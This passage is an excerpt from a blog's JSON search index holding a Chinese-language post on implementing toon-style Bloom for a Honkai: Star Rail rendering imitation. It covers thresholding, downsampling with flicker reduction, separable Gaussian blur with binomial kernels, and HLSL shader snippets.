/\u003e","url":"https://note.stalomeow.com/blog/posts/unity-job-parallel-for-append/"},{"title":"仿星铁渲染:Bloom","time":"2024-03-05T10:19:01Z","content":"\u003ch1 id=\"仿星铁渲染Bloom\"\u003e仿星铁渲染:Bloom\u003ca class=\"headerlink\" href=\"#仿星铁渲染Bloom\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e卡通渲染里 Bloom 还是挺重要的,它能对画面起到润色作用,比简单地后期调高饱和度要好看很多。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Bloom 效果图\" src=\"../../../obsidian-vault/attachments/bloom-toon.png\" /\u003e\u003c/p\u003e\n\u003ch2 id=\"大致流程图\"\u003e大致流程图\u003ca class=\"headerlink\" href=\"#大致流程图\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cpre class=\"mermaid\"\u003e\u003ccode\u003eflowchart TD\n Original[原图] -- 预处理 --\u0026gt; Mip0\n\n Mip0 -- 降采样 --\u0026gt; Mip1\n Mip1 -- 降采样 --\u0026gt; Mip2\n Mip2 -- 降采样 --\u0026gt; Mip3\n Mip3 -- 降采样 --\u0026gt; Mip4\n Mip4 -- 降采样 --\u0026gt; Mip5\n\n Mip2 -- 高斯模糊 --\u0026gt; Mip2Blur\n Mip3 -- 高斯模糊 --\u0026gt; Mip3Blur\n Mip4 -- 高斯模糊 --\u0026gt; Mip4Blur\n Mip5 -- 高斯模糊 --\u0026gt; Mip5Blur\n\n Mip2Blur -- 合并 --\u0026gt; BloomTexture\n Mip3Blur -- 合并 --\u0026gt; BloomTexture\n Mip4Blur -- 合并 --\u0026gt; BloomTexture\n Mip5Blur -- 合并 --\u0026gt; BloomTexture\n\n BloomTexture -- 叠加 --\u0026gt; Result[结果]\n Original -- 叠加 --\u0026gt; Result\u003c/code\u003e\u003c/pre\u003e\n\u003ch2 id=\"注意-HDR\"\u003e注意 HDR\u003ca class=\"headerlink\" href=\"#注意-HDR\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e参考 URP Bloom 的 \u003ccode\u003eEncodeHDR\u003c/code\u003e 和 \u003ccode\u003eDecodeHDR\u003c/code\u003e。Bloom 可能导致像素值超过 1,部分不支持 B10G11R11 RT 的设备要用 R8G8B8A8 RT 和 RGBM 编码。\u003c/p\u003e\n\u003ch2 id=\"预处理\"\u003e预处理\u003ca class=\"headerlink\" href=\"#预处理\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e预处理就是把图像中较亮的部分提取出来。卡通渲染里一般直接减去一个阈值即可。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_BloomThreshold\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003errr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e有需要的话,之后还可以给 \u003ccode\u003ecolor\u003c/code\u003e 乘上一个强度。\u003c/p\u003e\n\u003ch2 id=\"降采样\"\u003e降采样\u003ca class=\"headerlink\" href=\"#降采样\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e降采样是为了之后用较小的卷积核模糊更大的范围,就是 Mipmap 的思路。一般用 bilinear 每次长和宽都减少一半。\u003c/p\u003e\n\u003ch3 id=\"避免闪烁\"\u003e避免闪烁\u003ca class=\"headerlink\" href=\"#避免闪烁\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e常见的方法是 COD 用的 Karis Average:在第一次降采样时,给颜色乘上一个 \u003ccode\u003eweight\u003c/code\u003e,避免出现超级亮的像素。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eluma\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.2126\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.7152\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.0722\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eweight\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eluma\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eweight\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e这个会降低颜色的饱和度,对卡通渲染来说比较难受,所以我没用。\u003c/p\u003e\n\u003cp\u003e其实,闪烁主要的原因是有单独几个超亮像素一会出现一会消失。可以在降采样时,和周围的像素做加权平均,把亮度压下去。这样如果一个像素周围很亮,那么它还是很亮,产生稳定的泛光。如果一个像素周围都是暗的,它的亮度也会被压下去,闪烁就减少了。这个方法对颜色的饱和度没有很大影响,至少肉眼看不出来。\u003c/p\u003e\n\u003cp\u003e在 Vertex Shader 里,计算四个 uv 坐标。坐标都取在像素之间,后面 Fragment Shader 里用 bilinear 采样。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etexelSize\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture_TexelSize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoffset1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoffset2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003euv1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etexelSize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exyxy\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoffset1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoutput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etexcoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exyxy\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"n\"\u003euv2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etexelSize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exyxy\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoffset2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoutput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etexcoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exyxy\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e在 Fragment Shader 里,采样,然后计算平均值。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003ehalf3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDecodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSAMPLE_TEXTURE2D_X\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_LinearClamp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"kt\"\u003ehalf3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDecodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSAMPLE_TEXTURE2D_X\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_LinearClamp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ezw\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"kt\"\u003ehalf3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDecodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSAMPLE_TEXTURE2D_X\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_LinearClamp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"kt\"\u003ehalf3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDecodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSAMPLE_TEXTURE2D_X\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_LinearClamp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ezw\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEncodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.25\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ec1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec4\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"高斯模糊\"\u003e高斯模糊\u003ca class=\"headerlink\" href=\"#高斯模糊\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e设 \u003cspan class=\"arithmatex\"\u003e\\(G(x,y)\\)\u003c/span\u003e 是二维 \u003ca href=\"../../../ecde-afda-cebi/\"\u003e正态分布\u003c/a\u003e 的概率密度函数,\u003cspan class=\"arithmatex\"\u003e\\(f(x,y)\\)\u003c/span\u003e 是坐标为 \u003cspan class=\"arithmatex\"\u003e\\((x,y)\\)\u003c/span\u003e 处像素的值,\u003cspan class=\"arithmatex\"\u003e\\(h(x,y)\\)\u003c/span\u003e 是该处模糊后的值。做一个半径为 \u003cspan class=\"arithmatex\"\u003e\\(r\\)\u003c/span\u003e 的高斯模糊,即\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nh(x,y)=\\displaystyle\\sum\\limits_{i=-r}^{r}\\displaystyle\\sum\\limits_{j=-r}^{r}f(x+i,y+j)G(i,j)\n\\]\u003c/div\u003e\n\u003cp\u003e假设图像的长和宽分别为 \u003cspan class=\"arithmatex\"\u003e\\(m,n\\)\u003c/span\u003e,这个采样数是 \u003cspan class=\"arithmatex\"\u003e\\(O(mnr^2)\\)\u003c/span\u003e,有点多。\u003c/p\u003e\n\u003ch3 id=\"减少采样数\"\u003e减少采样数\u003ca class=\"headerlink\" href=\"#减少采样数\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e对于 \u003cspan class=\"arithmatex\"\u003e\\(G(x,y)\\)\u003c/span\u003e,\u003cspan class=\"arithmatex\"\u003e\\(X\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(Y\\)\u003c/span\u003e 是相互独立的,相关系数 \u003cspan class=\"arithmatex\"\u003e\\(\\rho=0\\)\u003c/span\u003e。一般情况下,我们给中间的像素较大的权值(\u003cspan class=\"arithmatex\"\u003e\\(\\mu=0\\)\u003c/span\u003e),并且用对称的卷积核。所以\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nG(x,y)=\\frac{1}{2\\pi \\sigma^2} \\exp \\left (-\\dfrac{x^2 + y^2}{2 \\sigma^2} \\right )\n\\]\u003c/div\u003e\n\u003cp\u003e能求出 \u003cspan class=\"arithmatex\"\u003e\\(X\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(Y\\)\u003c/span\u003e 均服从 \u003cspan class=\"arithmatex\"\u003e\\(N(0,\\sigma^2)\\)\u003c/span\u003e,概率密度函数为\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nG(x)=\\frac{1}{\\sqrt{2\\pi} \\sigma} \\exp \\left (-\\dfrac{x^2}{2 \\sigma^2} \\right )\n\\]\u003c/div\u003e\n\u003cp\u003e且有\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nG(x,y)=G(x)G(y)\n\\]\u003c/div\u003e\n\u003cp\u003e带入得\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nh(x,y)=\\displaystyle\\sum\\limits_{i=-r}^{r} \\left (\\displaystyle\\sum\\limits_{j=-r}^{r}f(x+i,y+j)G(j) \\right ) G(i)\n\\]\u003c/div\u003e\n\u003cp\u003e所以,可以先做纵向模糊\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nh_1(x,y)=\\displaystyle\\sum\\limits_{j=-r}^{r} f(x,y+j) G(j)\n\\]\u003c/div\u003e\n\u003cp\u003e再做横向模糊\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nh(x,y)=\\displaystyle\\sum\\limits_{i=-r}^{r} h_1(x+i,y) G(i)\n\\]\u003c/div\u003e\n\u003cp\u003e这样采样数就变成了 \u003cspan class=\"arithmatex\"\u003e\\(O(mnr)\\)\u003c/span\u003e,需要 2 个 pass。\u003c/p\u003e\n\u003ch3 id=\"快速计算卷积核\"\u003e快速计算卷积核\u003ca class=\"headerlink\" href=\"#快速计算卷积核\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e根据 \u003ca href=\"../../../ecbf-abci-cecj/#De-Moivre-Laplace-CLT\"\u003eDe Moivre-Laplace CLT\u003c/a\u003e:若 \u003cspan class=\"arithmatex\"\u003e\\(X \\sim B(n,p)\\)\u003c/span\u003e,当 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 充分大时,可以近似认为 \u003cspan class=\"arithmatex\"\u003e\\(X \\sim N(np, np(1-p))\\)\u003c/span\u003e。我们需要的是一个对称的卷积核,所以取 \u003cspan class=\"arithmatex\"\u003e\\(p=\\dfrac{1}{2}\\)\u003c/span\u003e。这个其实就是一些文章中提到用杨辉三角近似的原理。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"杨辉三角\" src=\"../../../obsidian-vault/attachments/pascal-triangle.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e对于第 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 行的一组数,它们除以 \u003cspan class=\"arithmatex\"\u003e\\(2^n\\)\u003c/span\u003e 后近似服从 \u003cspan class=\"arithmatex\"\u003e\\(N(\\dfrac{n}{2},\\dfrac{n}{4})\\)\u003c/span\u003e。\u003c/p\u003e\n\u003cp\u003e观察上面的图,每行最前面两个和最后面两个数都比较小,在计算时作用不大,可以去掉它们。\u003csup id=\"fnref:1\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:1\"\u003e1\u003c/a\u003e\u003c/sup\u003e 如果要一个长度为 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 的卷积核,则选择第 \u003cspan class=\"arithmatex\"\u003e\\(n+3\\)\u003c/span\u003e 行的中间 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 个数存进数组,有\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nG[i]=\\dfrac{1}{2^{n+3}-2(4+n)} \\binom{n+3}{i+2}\n\\]\u003c/div\u003e\n\u003cp\u003e根据组合数的性质 \u003csup id=\"fnref:2\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:2\"\u003e2\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\binom{n}{k+1}=\\dfrac{n-k}{k+1}\\binom{n}{k}\n\\]\u003c/div\u003e\n\u003cp\u003e可以求出递推公式\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nG[i]=\\dfrac{n-i+2}{i+2} G[i-1]\n\\]\u003c/div\u003e\n\u003cp\u003e它的初始值,我给出的是 \u003cspan class=\"arithmatex\"\u003e\\(G[0]\\)\u003c/span\u003e 前面一个值,不存进数组。\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nG[-1]=\\dfrac{n+3}{2^{n+3}-2(4+n)}\n\\]\u003c/div\u003e\n\u003cp\u003e不放代码了,一个 for 循环就行了。还能根据卷积核的对称性优化一下,只需要算一半的数字就行。\u003c/p\u003e\n\u003ch3 id=\"Shader-代码\"\u003eShader 代码\u003ca class=\"headerlink\" href=\"#Shader-代码\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e需要 C# 代码传入的值:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e_BloomKernelSize\u003c/code\u003e:卷积核的长度。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e_BloomKernel\u003c/code\u003e:卷积核数组。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eShader 里用一个 for 循环采样周围像素。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e卷积核长度为偶数时,为了给中心的像素足够的权重,就都采样在两个像素之间了,\u003ccode\u003ei - halfKernelSize\u003c/code\u003e 为 \u003cspan class=\"arithmatex\"\u003e\\(-1.5,-0.5,0.5,1.5\\)\u003c/span\u003e 这样的值。\u003c/li\u003e\n\u003cli\u003e卷积核长度为奇数时,\u003ccode\u003ei - halfKernelSize\u003c/code\u003e 为 \u003cspan class=\"arithmatex\"\u003e\\(-1,0,1\\)\u003c/span\u003e 这样的值。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e纵向模糊:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etexelSize\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture_TexelSize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehalfKernelSize\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BloomKernelSize\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e 